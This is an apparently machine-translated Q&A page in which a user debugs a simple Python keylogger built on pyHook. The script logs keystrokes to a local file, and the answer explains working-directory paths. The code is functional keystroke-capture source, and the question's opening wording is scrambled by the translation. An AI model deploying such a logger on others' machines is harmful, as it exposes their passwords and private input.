2016-08-02 10 views
0

では動作しません私はIDLEで実行すると、それだけで正常に動作しますが、コンソールにそれはdoesnのログをファイルに書き込みます。Pythonスクリプトは、私はPythonで、この単純なキーロガーを作るしようとしているIDLEで動作しますが、コンソール

import pyHook, pythoncom, sys 

log = '' 

def OnKeyPress(event):  
    global log 
    log += chr(event.Ascii) 

    if event.Ascii == 27: # if user press esc 
     with open('teste27.txt', 'a') as f: 
      f.write(log)     
      f.close() 
      sys.exit(0) 


#instantiate HookManager class 
new_hook = pyHook.HookManager() 
#listen to all keystrokes 
new_hook.KeyDown = OnKeyPress 
#Hook the keyboard 
new_hook.HookKeyboard() 
#start the session 
pythoncom.PumpMessages() 
+0

エラーが見つかりました。 –

答えて

0

この問題の問題は、説明が必要です。 'something.txt'のような相対パスを持つ 'open(filepath)'は、 '現在の作業ディレクトリ'を基準にファイルを開きます。単純なファイル名の場合、これはその作業ディレクトリ(CWD)を意味します。 IDLEは、エディタでコードを実行すると

、それは、コードのディレクトリであることを、コードを実行し、新しいプロセスの現在の作業ディレクトリになります。 (IDLEプロセスのCWDは無視されます)。したがって、r'C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \ teste27.py 'を編集していた場合、' teste27.txt 'を開くとr' C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \ teste27.txt 'と入力します。

コンソールはCWDを持つ実行中のプログラムです。ほとんどのコンソールでは、デフォルトのプロンプトにCWDが含まれています。コンソールからプログラムを実行すると、CWDがプログラムを変更するまでCWDがそのCWDで実行されることが継承されます。 r'C:\ Users \ henrique \ Documents \ Programas \ Python \ Keylogger \ 'をコンソールのCWDにしたのではなく、プログラムへのパスを与えることであなたのプログラムを実行する必要があります: "python somepath/teste27 .py "。あなたがプログラムを開始したものは何でもCWDに浮遊「teste27.txt」を見つける必要があります。

あなたはスラッシュを使用してパスには「r」を追加することを避けることができます。 'C:/Users/henrique/Documents/Programas/Python/Keylogger/teste27.txt'。 Windowsでバックスラッシュを使用する必要があるのは、プログラムを実行するためのパスを指定するときだけです。

代替ソリューション、便利なあなたはディレクトリ内の複数のファイルを開いたときに、そのディレクトリCWDようにすることです。たとえば、

import os 
os.chdir('C:/Users/henrique/Documents/Programas/Python/Keylogger') 

「open(texte27.txt)」は、必要に応じて機能します。

+0

ファイルはデフォルトのコンソールのCWDに作成されていましたが、完全にパスを指定するだけです。オープン(r'C:¥Users¥henrique¥Documents¥Programas¥Python¥Keylogger¥teste27.txt '、' a ' "C:\ Users \ henrique"。 スラッシュについては知りませんでしたが、チップのおかげで –

関連する問題